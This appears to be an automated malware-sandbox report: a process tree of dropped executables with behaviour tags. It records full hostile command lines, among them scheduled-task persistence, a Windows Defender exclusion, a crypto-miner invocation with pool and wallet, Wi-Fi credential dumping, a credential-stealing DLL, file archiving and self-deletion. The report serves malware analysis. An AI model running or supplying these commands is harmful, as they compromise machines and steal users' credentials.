C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f6⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 6806⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 9526⤵
- Program crash
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2172 -s 9926⤵
- Program crash
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\toolspub1.exe"C:\Users\Admin\AppData\Local\Temp\toolspub1.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\app1.exe"C:\Users\Admin\AppData\Local\Temp\Files\app1.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\6.exe"C:\Users\Admin\AppData\Local\Temp\Files\6.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Sharp_1_4.exe"C:\Users\Admin\AppData\Local\Temp\Files\StealerClient_Sharp_1_4.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2636 -s 8283⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp9599.tmp.bat""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 34⤵
- Delays execution with timeout.exe
-
-
C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"5⤵
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl5⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\7e207560.exe"C:\Users\Admin\AppData\Local\Temp\Files\7e207560.exe"2⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
-
-
C:\Users\Admin\AppData\Local\Temp\Files\asas.exe"C:\Users\Admin\AppData\Local\Temp\Files\asas.exe"2⤵
-
C:\Windows\System32\werfault.exe\??\C:\Windows\System32\werfault.exe3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\cs_maltest.exe"C:\Users\Admin\AppData\Local\Temp\Files\cs_maltest.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe"C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\BBLb.exe"C:\Users\Admin\AppData\Local\Temp\BBLb.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\BBLb.exeC:\Users\Admin\AppData\Local\Temp\BBLb.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exeC:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exeC:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5524 -s 5164⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5524 -s 4964⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\File300un.exe"C:\Users\Admin\AppData\Local\Temp\Files\File300un.exe"2⤵
- UAC bypass
- Windows security bypass
- Executes dropped EXE
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Files\File300un.exe" -Force3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SYSWOW64\calc.exe"C:\Windows\SYSWOW64\calc.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\sc.exe"C:\Users\Admin\AppData\Local\Temp\Files\sc.exe"2⤵
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Launches sc.exe
-
-
C:\Users\Admin\AppData\Local\Temp\Files\a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe"C:\Users\Admin\AppData\Local\Temp\Files\a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 8203⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 8363⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 8763⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 8523⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 8603⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 9363⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 9163⤵
- Program crash
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\Files\a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe" & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe" /f4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\1.exe"C:\Users\Admin\AppData\Local\Temp\Files\1.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\installer.exe"C:\Users\Admin\AppData\Local\Temp\Files\installer.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\june.exe"C:\Users\Admin\AppData\Local\Temp\Files\june.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-L5SCJ.tmp\june.tmp"C:\Users\Admin\AppData\Local\Temp\is-L5SCJ.tmp\june.tmp" /SL5="$402DC,5927631,54272,C:\Users\Admin\AppData\Local\Temp\Files\june.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\for.exe"C:\Users\Admin\AppData\Local\Temp\Files\for.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\configurationValue\bott.exe"C:\Users\Admin\AppData\Roaming\configurationValue\bott.exe"4⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\configurationValue\STAR.exe"C:\Users\Admin\AppData\Roaming\configurationValue\STAR.exe"4⤵
- Drops startup file
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe"5⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"4⤵
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 35⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exeC:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\beacon_certutil.exe"C:\Users\Admin\AppData\Local\Temp\Files\beacon_certutil.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe"C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\Files\tempate.exe"C:\Users\Admin\AppData\Local\Temp\Files\tempate.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe"C:\Users\Admin\AppData\Local\Temp\Files\syncUpd.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
-
C:\Users\Admin\AppData\Local\Temp\Files\niks.exe"C:\Users\Admin\AppData\Local\Temp\Files\niks.exe"2⤵
- Modifies Windows Defender Real-time Protection settings
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Windows security modification
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Users\Admin\AppData\Local\Temp\Files\amert.exe"C:\Users\Admin\AppData\Local\Temp\Files\amert.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe"C:\Users\Admin\AppData\Local\Temp\00c07260dc\explorgu.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\1000030041\do.ps1"4⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com5⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffa71759758,0x7ffa71759768,0x7ffa717597786⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1832 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1788 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1600 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:26⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3108 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3096 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=1068 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4736 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=5068 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:16⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5300 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5504 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5488 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=6116 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5960 --field-trial-handle=2160,i,15687522871209368187,14613680082153679502,131072 /prefetch:86⤵
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com5⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com6⤵
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5232.0.1529740076\724347768" -parentBuildID 20221007134813 -prefsHandle 1636 -prefMapHandle 1628 -prefsLen 20747 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a4b9f111-a507-431e-86bc-6124e068ac71} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 1728 1c0181d9558 gpu7⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5232.1.1057563302\995473958" -parentBuildID 20221007134813 -prefsHandle 2172 -prefMapHandle 2168 -prefsLen 21608 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5f197fc6-c1c9-4987-878d-517264c76da3} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 2200 1c017939a58 socket7⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5232.2.1601956699\219778415" -childID 1 -isForBrowser -prefsHandle 3260 -prefMapHandle 3256 -prefsLen 21976 -prefMapSize 233444 -jsInitHandle 916 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ce49b926-66b0-4ecf-90c7-3cb3b504f868} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 3320 1c01c3ee958 tab7⤵
-
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.linkedin.com/login5⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffa71759758,0x7ffa71759768,0x7ffa717597786⤵
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.linkedin.com/login5⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.linkedin.com/login6⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.facebook.com/login5⤵
- Enumerates system info in registry
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xd0,0xd4,0xd8,0xac,0xdc,0x7ffa71759758,0x7ffa71759768,0x7ffa717597786⤵
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://www.facebook.com/login5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://accounts.google.com5⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffa752f9758,0x7ffa752f9768,0x7ffa752f97786⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2072 --field-trial-handle=1832,i,849681488697078616,5437227592256930,131072 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1788 --field-trial-handle=1832,i,849681488697078616,5437227592256930,131072 /prefetch:86⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1656 --field-trial-handle=1832,i,849681488697078616,5437227592256930,131072 /prefetch:26⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2632 --field-trial-handle=1832,i,849681488697078616,5437227592256930,131072 /prefetch:16⤵
- Drops file in Program Files directory
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2624 --field-trial-handle=1832,i,849681488697078616,5437227592256930,131072 /prefetch:16⤵
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com5⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" https://accounts.google.com6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000031001\fu.exe"C:\Users\Admin\AppData\Local\Temp\1000031001\fu.exe"4⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Users\Admin\AppData\Local\Temp\1000395001\ladas.exe"C:\Users\Admin\AppData\Local\Temp\1000395001\ladas.exe"4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main4⤵
- Loads dropped DLL
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll, Main5⤵
-
C:\Windows\system32\netsh.exenetsh wlan show profiles6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\063448957137_Desktop.zip' -CompressionLevel Optimal6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1000396001\dota.exe"C:\Users\Admin\AppData\Local\Temp\1000396001\dota.exe"4⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\1000398001\InstallSetup3.exe"C:\Users\Admin\AppData\Local\Temp\1000398001\InstallSetup3.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\BroomSetup.exeC:\Users\Admin\AppData\Local\Temp\BroomSetup.exe5⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "6⤵
-
C:\Windows\SysWOW64\chcp.comchcp 12517⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F7⤵
- Creates scheduled task(s)
-
-
-
